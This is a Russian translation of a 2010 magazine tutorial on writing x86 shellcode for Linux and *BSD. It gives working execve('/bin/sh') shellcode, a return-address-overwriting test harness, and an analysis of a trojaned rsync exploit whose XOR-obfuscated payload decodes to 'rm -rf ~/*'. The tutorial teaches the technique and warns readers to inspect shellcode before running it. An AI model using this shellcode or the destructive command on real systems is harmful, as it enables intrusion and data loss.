Разработка shell-кода для Linux и *BSD

FreeBSD Magazine, 09.2010

DANIELE MAZZOCCHIO
Latest version: http://www.kernel-panic.it/security/shellcode/

Shell-код - это последовательность машинных команд, с помощью которых уже запущенная программа может быть принуждена к выполнению чего-то альтернативного. С помощью этого метода можно эксплуатировать некоторые уязвимости ПО (например, переполнение стека, переполнение кучи, уязвимости форматных строк).

Пример того, как может выглядеть shell-код:


char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\
x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\
x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\
x2f\x73\x68";

То есть, вообще говоря, это последовательность байт на машинном языке. Цель настоящего документа - рассмотреть наиболее широко распространенные техники разработки shell-кода для Linux и *BSD систем, запущенных на архитектуре x86.

Покопавшись в сети, вы легко сможете найти готовые примеры shell-кода, которые остается только скопировать и поместить в нужное место. Для чего же изучать его разработку? На мой вкус, имеется как минимум пара хороших резонов:

- во-первых, изучение внутреннего устройства чего-либо - почти всегда хорошая идея перед использованием этого чего-то, помогает избежать неприятных сюрпризов (эта проблема будет обсуждаться позже на http://www.kernel-panic.it/security/shellcode/shellcode6.html в деталях);

- во-вторых, следует иметь в виду, что shell-код может запускаться в совершенно различных окружениях, типа входных-выходных фильтров, участков манипуляции со строками, IDS, и полезно представлять, как его нужно модифицировать в соответствии с условиями;

- кроме того, понятия об эксплуатации уязвимостей помогут вам писать более безопасные программы.

Листинг 1. Системные вызовы, определенные в файле /usr/src/linux/include/asm-i386/unistd.h ; каждый снабжен собственным номером

/usr/src/linux/include/asm-i386/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
* This file contains the system call numbers
*/
#define __NR_exit 		1
#define __NR_fork 		2
#define __NR_read 		3
#define __NR_write 		4
#define __NR_open 		5
#define __NR_close 		6
#define __NR_waitpid 		7
#define __NR_creat 		8
[...]

Далее не помешает знание ассемблера для архитектуры IA-32, поскольку мы затронем такие темы, как использование регистров, адресация памяти и другие подобные. В любом случае, в конце статьи предлагается некоторое количество материалов, полезных для изучения или освежения в памяти базовых сведений программирования на ассемблере. Также требуются базовые знания о Linux и *BSD.

Системные вызовы Linux
Хотя shell-код в принципе может выполнять что угодно, однако основной целью его запуска является получение на целевой машине доступа к командному интерпретатору (shell), желательно в привилегированном режиме, откуда, собственно, и пошло название shell-код.
Наиболее простой и прямой способ выполнить сложную задачу в ассемблере есть использование системных вызовов. Системные вызовы обеспечивают интерфейс между пространством пользователя и пространством ядра; другими словами это способ получения пользовательской программой обслуживания от сервисов ядра. Так, например, происходит управление файловой системой, запускаются новые процессы, обеспечивается доступ к устройствам и так далее.
Как показано в Листинге 1, системные вызовы определены в файле /usr/src/linux/include/asmi386/unistd.h, каждый из них снабжен номером.
Существует два стандартных способа использования системных вызовов:

- задействование программного прерывания 0x80;
- вызов функции-обертки из libc.

Первый метод более переносимый, так как употребим для любого дистрибутива Linux (определяется кодом ядра). Второй метод менее переносим, так как определяется кодом стандартной библиотеки.

int 0x80
Глянем пристальнее на первый метод. Когда процессор получает прерывание 0x80, он входит в режим ядра и выполняет запрашиваемую функцию, получая нужный обработчик из Interrupt Descriptor Table (таблицы описателей прерываний). Номер системного вызова должен быть определен в EAX, который в итоге будет содержать возвращаемую величину. В свою очередь, аргументы функции числом до шести, должны содержаться в EBX, ECX, EDX, ESI, EDI и EBP, именно в таком порядке и только нужное количество регистров, а не все. Если функция требует более шести аргументов, вы должны поместить их в структуру и сохранить указатель на первый элемент в EBX.

Следует помнить, что ядра Linux до 2.4 не используют регистр EBP для передачи аргументов, и, следовательно, могут передавать только пять аргументов через регистры.

После сохранения номера системного вызова и параметров в соответствующих регистрах, вызывается прерывание 0x80: процессор переходит в режим ядра, выполняет системный вызов и передает управление пользовательскому процессу. Для воспроизведения этого сценария нужно:

- сохранить номер системного вызова в EAX;
- сохранить аргументы системного вызова в нужных регистрах;

или:

- создать в памяти структуру, содержащую параметры системного вызова;
- сохранить в EBX указатель на первый аргумент;
- выполнить программное прерывание 0x80.

Простейший пример будет содержать классику - системный вызов exit(2). Из файла /usr/src/linux/include/asm-i386/unistd.h мы узнаем его номер: 1. Страница руководства укажет нам, что обязательный аргумент только один (status), как показано в Листинге 2.

Листинг 2. Страница руководства man указывает на то, что обязательным является один параметр

man 2 _exit
		_EXIT(2) Linux Programmer's Manual _EXIT(2)
NAME
		_exit, _Exit – terminate the current process
SYNOPSIS
		#include 
		void _exit(int status)
[...]

Его мы сохраним в регистре EBX. Таким образом, нужны следующие инструкции:


exit.asm
mov eax, 1 ; 	Number of the _exit(2) syscall
mov ebx, 0 ; 	status
int 0x80 ; 	Interrupt 0x80

libc
Как было указано, другой стандартный метод заключается в использовании функции С. Посмотрим, как это сделано на примере простой С-программы:


exit.c
main () {
	exit(0);
}

Нужно только скомпилировать ее:


$ gcc -o exit exit.c

Дизассемблируем ее с помощью gdb для того, чтобы убедиться, что она использует тот же системный вызов (Листинг 3).

Листинг 3. Дизассемблируем программу exit с помощью отладчика gdb

$ gdb ./exit
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-linux"...Using host
libthread_db library "/lib/
libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804836a
(gdb) run
Starting program: /ramdisk/var/tmp/exit
Breakpoint 1, 0x0804836a in main ()
(gdb) disas main
Dump of assembler code for function main:
0x08048364 : 	push 	%ebp
0x08048365 : 	mov 	%esp,%ebp
0x08048367 : 	sub 	$0x8,%esp
0x0804836a : 	and 	$0xfffffff0,%esp
0x0804836d : 	mov 	$0x0,%eax
0x08048372 : 	sub 	%eax,%esp
0x08048374 : 	movl 	$0x0,(%esp)
0x0804837b : 	call 	0x8048284 
End of assembler dump.
(gdb)

Последняя функция в main() - это вызов exit(3). Далее видим, что exit(3) в свою очередь вызывает _exit(2), которая вызывает системный вызов, включая прерывание 0x80, Листинг 4.

Листинг 4. Выполнение системного вызова

(gdb) disas exit
Dump of assembler code for function exit:
[...]
0x40052aed : 	mov 	0x8(%ebp),%eax
0x40052af0 : 	mov 	%eax,(%esp)
0x40052af3 : 	call 	0x400ced9c <_exit>
[...]
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400ced9c <_exit+0>: 	mov 	0x4(%esp),%ebx
0x400ceda0 <_exit+4>: 	mov 	$0xfc,%eax
0x400ceda5 <_exit+9>: 	int 	$0x80
0x400ceda7 <_exit+11>: 	mov 	$0x1,%eax
0x400cedac <_exit+16>: 	int 	$0x80
0x400cedae <_exit+18>: 	hlt
0x400cedaf <_exit+19>: 	nop
End of assembler dump.
(gdb)

Таким образом, shell-код с использованием libc опосредованно вызывает системный вызов _exit(2):


push dword 0 ; 	status
call 0x8048284 ; Call the libc exit() function
		;(address obtained from the above disassembly)
add esp, 4 ; 	Clean up the stack

Системные вызовы *BSD
В семействе *BSD системные вызовы выглядят немного по другому, в непрямых вызовах (с использованием адресов функций libc) разницы нет.
Номера системных вызовов указаны в файле /usr/src/sys/kern/syscalls.master, этот файл также содержит прототипы функций. В Листинге 5 представлено начало файла в OpenBSD:

Листинг 5. Начало файла /usr/src/sys/kern/syscalls.master в OpenBSD

/usr/src/sys/kern/syscalls.master
[...]
1 	STD 	{ void sys_exit(int rval); }
2 	STD 	{ int sys_fork(void); }
3 	STD 	{ ssize_t sys_read(int fd, void *buf, size_t nbyte); }
4 	STD 	{ ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
5 	STD 	{ int sys_open(const char *path, int flags, ... mode_t mode); }
6 	STD 	{ int sys_close(int fd); }

Первая строка содержит номер системного вызова, вторая - его тип, третья - прототип функции. В отличие от Linux, системные вызовы *BSD не используют соглашение о быстром вызове, с помещением аргументов в регистры, вместо этого используется стиль С с помещением аргументов в стек. Аргументы помещаются в обратном порядке, начиная с самого правого, таким образом они будут извлекаться в правильной последовательности. Немедленно после возврата из системного вызова стек должен быть очищен путем помещения в указатель смещения по стеку количества байт, которое составила длина всех аргументов (а проще говоря, путем добавления байт в количестве аргументов умноженных на 4). Роль регистра EAX такая же, как в Linux, он содержит номер системного вызова, а в итоге содержит возвращаемую величину.

Таким образом, для выполнения системного вызова нужно четыре шага:

- сохранение номера вызова в EAX;
- помещение в обратном порядке аргументов в стек;
- выполнение программного прерывания 0x80;
- очистка стека.

Пример для Linux, преобразованный для *BSD, будет выглядеть так:


exit_BSD.asm
mov eax, 1 ; 	Syscall number
push dword 0 ; 	rval
push eax ; 	Push one more dword (see below)
int 0x80 ; 	0x80 interrupt
add esp, 8 ; 	Clean up the stack

Перед выполнением программного прерывания нужно поместить в стек дополнительный dword, сведения по теме можно получить здесь: http://www.int80h.org/bsdasm/#default-calling-convention

Пишем shell-код
Следующие примеры, предназначенные для Linux, легко могут быть адаптированы в мир *BSD. Для получения готового shell-кода нам осталось получить опкоды, соответствующие ассемблерным инструкциям. Стандартно используются три метода для получения опкодов:

- написание их вручную (с документацией Intel в руках!);
- написание ассемблерного кода с последующим извлечением опкода;
- написание кода на С с последующим его дизассемблированием.

Думаю, здесь неподходящее место для обсуждения ModRM и байтов SIB, адресации памяти и прочих подобных тем, поэтому написание машинных кодов вручную рассматривать не будем, дополнительные же сведения по теме можно получить здесь: http://developer.intel.com/design/pentium4/manuals/index_new.htm

Посмотрим теперь на оставшиеся два метода.

На ассемблере
Первый шаг - использование ассемблерного кода из примера exit.asm с использованием системного вызова _exit(2). Для получения опкодов используем nasm и затем дизассемблируем собранный бинарник посредством objdump, как показано в Листинге 6.

Листинг 6. Сборка кода из текста на ассемблере с последующим дизассемблированием

$ nasm -f elf exit.asm
$ objdump -d exit.o
exit.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: bb 00 00 00 00 mov $0x0,%ebx
5: b8 01 00 00 00 mov $0x1,%eax
a: cd 80 int $0x80
$

Вторая колонка содержит нужные нам машинные коды. Таким образом, мы можем написать наш первый shell-код и протестировать его с помощью простой программы на С, взятой с http://www.phrack.org/

Листинг 7. Тестирование опкода

sc_exit.c
char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main() {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)shellcode;
}

Несмотря на популярность этого подхода, код проверочной программы на С может показаться недостаточно ясным. Тем не менее, он просто переписывает адрес функции main() адресом shell-кода с целью выполнения инструкций shell-кода в main(). После первой инструкции стек эволюционирует следующим образом:

- возвращаемый адрес (помещен инструкцией CALL) для помещения в EIP при выходе;
- сохраненный EBP (для восстановления при выходе из функции);
- ret (первая локальная переменная в функции main())

Вторая инструкция увеличивает адрес переменной ret на восемь байт (два dword) для получения адреса возвращаемого адреса, то есть указателя на первую инструкцию, которая будет выполнена в main(). Наконец, третья инструкция переписывает адрес адресом shell-кода. В этой точке программа выходит из функции main(), восстанавливает EBP, сохраняет адрес shell-кода в EIP и выполняет его. Для просмотра всех этих операций нужно скомпилировать и запустить sc_exit.c:


$ gcc -o sc_exit sc_exit.c
$ ./sc_exit
$

Надеюсь, ваш рот открылся достаточно широко. Чтобы убедиться в выполнении shell-кода, достаточно запустить приложение под strace, Листинг 8.

Листинг 8. Трассировка проверочного приложения

$ strace ./sc_exit
execve("./sc_exit", ["./sc_exit"], [/* 16 vars */]) = 0
uname({sys="Linux", node="Knoppix", ...}) = 0
brk(0) = 0x8049588
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=60420, ...}) = 0
old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=1243792, ...}) = 0
old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000
old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x127000) = 0x4014f000
old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000
close(3) = 0
munmap(0x40018000, 60420) = 0
_exit(0) = ?
$

Последняя строка - вызов _exit(2). Однако, глядя на shell-код мы видим маленькую проблему: он содержит много нулевых байтов. Поскольку shell-код частенько вписывают в строковый буфер, эти байты уткнутся в разделитель строки и атака сорвется. Есть два пути для решения задачи:

- писать инструкции, не содержащие нулевых байтов (а это не всегда возможно);
- писать shell-код для модификации его вручную, удаляя нулевые байты, чтобы затем во время выполнения сам код добавил нулевые байты, выравнивая строку до разделителя.

Смотрим первый метод.
Первая инструкция (mov ebx, 0) может быть модифицирована более употребимой (по соображениям производительности):


xor ebx, ebx

Вторая инструкция содержит все эти нули, потому что используется 32-битный регистр (EAX), это порождает 0x01, которые становятся 0x01000000 (полубайты идут в обратном порядке, так как Intel® - little endian процессор). Таким образом мы можем решить эту проблему просто используя восьмибитный регистр (AL):


mov al, 1

Теперь наш ассемблерный код выглядит следующим образом:


xor ebx, ebx
mov al, 1
int 0x80

и никаких нулевых байтов (Листинг 9).

Листинг 9. Проверка shell-кода

$ nasm -f exit2.asm
$ objdump -d exit2.o
exit2.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 31 db xor %ebx,%ebx
2: b0 01 mov $0x1,%al
4: cd 80 int $0x80
$

На С
Далее: извлечение опкодов путем дизассемблирования скомпилированной программы на С. Возьмем бинарник, полученный из exit.c и откроем его с помощью gdb, Листинг 10.

Листинг 10. Бинарник exit.c, открытый с помощью gdb

$ gdb ./exit
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-linux"...Using host
libthread_db library "/lib/
libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804836a
(gdb) run
Starting program: /ramdisk/var/tmp/exit
Breakpoint 1, 0x0804836a in main ()
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400ced9c <_exit+0>: mov 0x4(%esp),%ebx
0x400ceda0 <_exit+4>: mov $0xfc,%eax
0x400ceda5 <_exit+9>: int $0x80
0x400ceda7 <_exit+11>: mov $0x1,%eax
0x400cedac <_exit+16>: int $0x80
0x400cedae <_exit+18>: hlt
0x400cedaf <_exit+19>: nop
End of assembler dump.
(gdb)

Как видно, функция _exit(2) на самом деле использует два системных вызова: 0xfc (252), _exit_group(2), и далее, _exit(2). _exit_group(2) подобен _exit(2), но его целью является завершение всех потоков в группе. Для нашего кода действительно нужен только второй системный вызов.

Извлечем опкоды:


(gdb) x/4bx _exit
0x400ced9c <_exit>: 0x8b 0x5c
0x24 0x04
(gdb) x/7bx _exit+11
0x400ceda7 <_exit+11>
: 0xb8 0x01 0x00 0x00
0x00 0xcd 0x80
(gdb)

Также, как в предыдущем примере, потребуется побороть нулевые байты.

Получение консоли
Настало время написания shell-кода, который позволит сделать что-то более полезное. Например, мы можем создать код для получения доступа к консоли, и чтобы после порождения консоли он чисто завершался. Простейший подход тут - использование системного вызова execve(2). Не забудьте посмотреть страницу man, Листинг 11.

Листинг 11. man 2 execve


EXECVE(2) Linux Programmer's Manual EXECVE(2)

NAME
	execve – execute program

SYNOPSIS
	#include 
	int execve(const char *filename, char *const argv [], char *const envp[]);

DESCRIPTION
execve() executes the program pointed to by filename. filename must be
either a binary executable, or a script starting with a line of the form
"#! interpreter [arg]". In the latter case, the interpreter must be a
valid pathname for an executable which is not itself a script, which will be
invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an
array of strings, conventionally of the form as environment to the new program. Both, argv
and envp must be terminated by a null pointer. The argument vector and
environment can be accessed by the called program's main function, when it is
defined as int main(int argc, char *argv[], char *envp[]).
[...]

Мы должны передать три агрумента:

- указатель на имя программы для выполнения, в нашем случае, указатель на строку /bin/sh;
- указатель на массив строк, передаваемых в качестве аргументов программы, первый аргумент должен быть argv[0], то есть имя самой программы, последний аргумент должен быть нулевым указателем;
- указатель на массив строк для передачи их в качестве окружения программы; эти строки как правило задаются в формате key=value и последним элементом массива должен быть нулевой указатель. На С это выглядит примерно следующим образом:

Соберем и посмотрим как работает:


$ gcc -o get_shell get_shell.c
$ ./get_shell
sh-2.05b$ exit
$

Так-так, мы получили шелл. Теперь посмотрим, как этот системный вызов выглядит в ассемблере (поскольку мы использовали три аргумента, можем использовать регистры вместо структуры). Немедленно обнаруживаются две проблемы:

- первая проблема известна: мы не можем оставлять нулевые байты в shell-коде, однако в данном случае аргументом является строка (/bin/sh), которая терминируется нулевым байтом. И мы должны передать два нулевых указателя среди аргументов execve(2)!
- вторая проблема - отыскать адрес строки. Абсолютная адресация памяти - дело тяжелое, кроме того это сделает shell-код практически непереносимым.

Для решения первой проблемы мы сделаем наш shell-код способным вставлять нулевые байты в нужные места во время выполнения. Для решения второй проблемы будем использовать относительную адресацию. Классический метод вернуть себе адрес shell-кода заключается в том, чтобы начать с инструкции CALL. Фактически, первое, что делает CALL, это помещение адреса следующего байта в стек, чтобы было возможно (инструкцией RET) помещение этого адреса в EIP после возврата из вызываемой функции. Затем выполнение перемещается на адрес, заданный параметром инструкции CALL. Этим путем мы получим указатель на нашу строку: адрес первого байта после CALL - это последнее значение в стеке и мы спокойно можем добыть его с помощью POP. Таким образом, генеральный план shell-кода будет примерно следующим:

Листинг 12.

jmp short mycall ; Immediately jump to the call instruction

shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
[...]

mycall:
call shellcode ; Push the address of the next byte onto the stack: the next

db "/bin/sh" ; byte is the beginning of the string "/bin/sh"

Посмотрим, что он делает:

- во-первых, shell-код прыгает на инструкцию CALL;
- CALL помещает в стек адрес строки /bin/sh, пока еще не терминированной нулевым байтом; директива db просто инициализирует последовательность байтов; далее выполнение вновь прыгает на начало shell-кода;
- затем адрес строки извлекается из стека и сохраняется в ESI. Теперь можем обращаться к адресу в памяти с помощью адреса строки.

С этого момента можно использовать структуру shell-кода, наполненную чем-то полезным. Проанализируем шаг за шагом наши планируемые действия:

- забъем EAX нулями, чтобы они были доступны в наших целях;
- терминируем строку нулевым байтом, скопированным из EAX (будем использовать регистр AL);
- зададим себе, что ECX будет содержать массив аргументов, состоящий из адреса строки и нулевого указателя; эта задача будет выполнена путем записи адреса, содержащегося в ESI, в первые три байта, и затем нулевой указатель (нули опять возьмем из EAX);
- сохраним номер системного вызова в (0x0b) EAX;
- сохраним первый аргумент для execve(2) (то есть адрес строки, сохраненный в ESI), в EBX;
- сохраним адрес массива в ECX (ESI + 8);
- сохраним адрес нулевого указателя в EDX (ESI+12);
- выполним прерывание 0x80.

Результирующий ассемблерный код показан в Листинге 13.

Листинг 13. Переработанный ассемблерный код

get_shell.asm
jmp short mycall 		; Immediately jump to the call instruction
shellcode:
pop esi 			; Store the address of "/bin/sh" in ESI
xor eax, eax 			; Zero out EAX
mov byte [esi + 7], al 		; Write the null byte at the end of the string
mov dword [esi + 8], esi 	; [ESI+8], i.e. the memory immediately below the string
				; "/bin/sh", will contain the array pointed to by the
				; second argument of execve(2); therefore we store in
				; [ESI+8] the address of the string...
mov dword [esi + 12], eax 	; ...and in [ESI+12] the NULL pointer (EAX is 0)
mov al, 0xb 			; Store the number of the syscall (11) in EAX
lea ebx, [esi] 			; Copy the address of the string in EBX
lea ecx, [esi + 8] 		; Second argument to execve(2)
lea edx, [esi + 12] 		; Third argument to execve(2) (NULL pointer)
int 0x80 			; Execute the system call
mycall:
call shellcode 			; Push the address of "/bin/sh" onto the stack
db "/bin/sh"

Извлечем опкоды, Листинг 14:

Листинг 14. Извлекаем опкоды

$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o
get_shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 18 jmp 1a <mycall>
00000002 <shellcode>:
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
8: 89 76 08 mov %esi,0x8(%esi)
b: 89 46 0c mov %eax,0xc(%esi)
e: b0 0b mov $0xb,%al
10: 8d 1e lea (%esi),%ebx
12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a <mycall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
24: 73 68 jae 8e
<mycall+0x74>
$

Вставляем их в С программу, Листинг 15:

Листинг 15. Опкоды в С-программе

get_shell.c
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\
x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\
x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\
x6e\x2f\x73\x68";
int main() {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)shellcode;
}

Пробуем:


$ gcc -o get_shell get_shell.c
$ ./get_shell
sh-2.05b$ exit
$

Доверие - это хорошо...
Посмотрим shell-код из эксплоита (http://www.securityfocus.com/bid/12268/info/), написанного Rafael San Miguel Carrasco. Он использует уязвимость типа "переполнение буфера" почтовой программы Exim:


static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\
x62\x69\x6e"
"\x2f\x73\x68\x58";

Дизассемблируем его с помощью ndisasm, получим что-то знакомое? Листинг 16.

Листинг 16. Дизассемблирование с помощью ndisasm

$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\
"\x2f\x73\x68\x58" | ndisasm -u -
00000000 EB17 jmp short 0x19 ; Initial jump to the CALL
00000002 5E pop esi ; Store the address of the string in
; ESI
00000003 897608 mov [esi+0x8],esi ; Write the address of the string in
; ESI + 8
00000006 31C0 xor eax,eax ; Zero out EAX
00000008 884607 mov [esi+0x7],al ; Null-terminate the string
0000000B 89460C mov [esi+0xc],eax ; Write the null pointer to ESI + 12
0000000E B00B mov al,0xb ; Number of the execve(2) syscall
00000010 89F3 mov ebx,esi ; Store the address of the string in
; EBX (first argument)
00000012 8D4E08 lea ecx,[esi+0x8] ; Second argument (pointer to the
; array)
00000015 31D2 xor edx,edx ; Zero out EDX (third argument)
00000017 CD80 int 0x80 ; Execute the syscall
00000019 E8E4FFFFFF call 0x2 ; Push the address of the string and
; jump to the second
; instruction
0000001E 2F das ; "/bin/shX"
0000001F 62696E bound ebp,[ecx+0x6e]
00000022 2F das
00000023 7368 jnc 0x8d
00000025 58 pop eax
$

... но контроль лучше
Но все-таки лучшей практикой остается привычка проверять shell-код перед тем, как использовать его. Например, 28 May 2004, prankster поместил для всеобщего доступа публичный эксплоит для rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), однако код был мутный: вслед за участком хорошо комментированного кода был малозаметный кусок, Листинг 17.

Листинг 17. Плохо видимый shell-код

[...]
char shellcode2[] =
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
"\x7b\x35";
[...]

После просмотра main() становилось понятно, что эксплоит запускается локально:


(long) funct = &shellcode2;
[...]
funct();

Таким образом, чтобы понять, что shell-код делает, мы должны не запускать его, а дизассемблировать, Листинг 18.

Листинг 18. Дизассемблированный плохо видимый shell-код

$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \
> ndisasm -u -
00000000 EB10 jmp short 0x12 ; Jum to the CALL
00000002 5E pop esi ; Retrieve the address of byte 0x17
00000003 31C9 xor ecx,ecx ; Zero out ECX
00000005 B14B mov cl,0x4b ; Setup the loop counter (see
; insctruction 0x0E)
00000007 B0FF mov al,0xff ; Setup the XOR mask
00000009 3006 xor [esi],al ; XOR byte 0x17 with AL
0000000B FEC8 dec al ; Decrease the XOR mask
0000000D 46 inc esi ; Load the address of the next byte
0000000E E2F9 loop 0x9 ; Keep XORing until ECX=0
00000010 EB05 jmp short 0x17 ; Jump to the first XORed instruction
00000012 E8EBFFFFFF call 0x2 ; PUSH the address of the next byte and
; jump to the second instruction
00000017 17 pop ss
[...]

Как можно видеть, это самомодифицирующийся shell-код: инструкции от 0x17 до 0x4B декодируются во время выполнения путем XOR-инга их значением из AL, которое сначала забито 0xFF, а затем уменьшается на каждом проходе цикла. После декодирования инструкция выполняется (jmp short 0x17). Попробуем понять, какая инструкция выполняется на самом деле. Мы можем декодировать shell-код с помощью Python, Листинг 19.

Листинг 19. Декодирование shell-кода с использованием Python

decode.py
#!/usr/bin/env python
sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \
"\x7b\x35"
print "".join([chr((ord(x)^(0xff-i))) for i,x in enumerate(sc[0x17:])])

Шестнадцатиричный дамп даст нам первую идею: смотрим Листинг 20.

Листинг 20. Декодирование shell-кода с использованием Python

$ ./decode.py | hexdump -C
00000000 e8 25 00 00 00 2f 62 69 6e 2f 73 68 00 73 68 00 |?%.../bin/sh.sh.|
00000010 2d 63 00 72 6d 20 2d 72 66 20 7e 2f 2a 20 32 3e |-c.rm -rf ~/* 2>|
00000020 2f 64 65 76 2f 6e 75 6c 6c 00 5d 31 c0 50 8d 5d |/dev/null.]1?P.]|
00000030 0e 53 8d 5d 0b 53 8d 5d 08 53 89 eb 89 e1 31 d2 |.S.].S.].S.ë.á1Ó|
00000040 b0 0b cd 80 89 c3 31 c0 40 cd 80 |°.Í..?1?@Í.|
0000004c

Ммм... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Не слишком оптимистичны код! Но чтобы быть уверенными, дизассемблируем его, Листинг 21.

Листинг 21. Декодирование shell-кода с использованием Python . Дизассемблирование

$ ./decode.py | ndisasm -u -
00000000 E825000000 call 0x2a
00000005 2F das
00000006 62696E bound ebp,[ecx+0x6e]
00000009 2F das
0000000A 7368 jnc 0x74
0000000C 007368 add [ebx+0x68],dh
0000000F 002D6300726D add [0x6d720063],ch
00000015 202D7266207E and [0x7e206672],ch
0000001B 2F das
0000001C 2A20 sub ah,[eax]
0000001E 323E xor bh,[esi]
00000020 2F das
00000021 6465762F gs jna 0x54
00000025 6E outsb
00000026 756C jnz 0x94
00000028 6C insb
00000029 005D31 add [ebp+0x31],bl
[...]

Первая инструкция CALL, за которой сразу следует строка, выводящая шестнадцатиричный дамп. Начало shell-кода может быть таким образом переписано, смотрим Листинг 22.

Листинг 22. Начало shell-кода может быть переписано другими инструкциями

E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp
[...]

Сохраним опкоды, начиная с инструкции 0x2a (42), Листинг 23:

Листинг 23. Проверка вызываемых функций

$ ./decode_exp.py | cut -c 43- | ndisasm -u -
00000000 5D pop ebp ; Retrieve the address of the string
; "/bin/sh"
00000001 31C0 xor eax,eax ; Zero out EAX
00000003 50 push eax ; Push the null pointer onto the stack
00000004 8D5D0E lea ebx,[ebp+0xe] ; Store the address of
; "rm -rf ~/* 2>/dev/null" in EBX
00000007 53 push ebx ; and push it on the stack
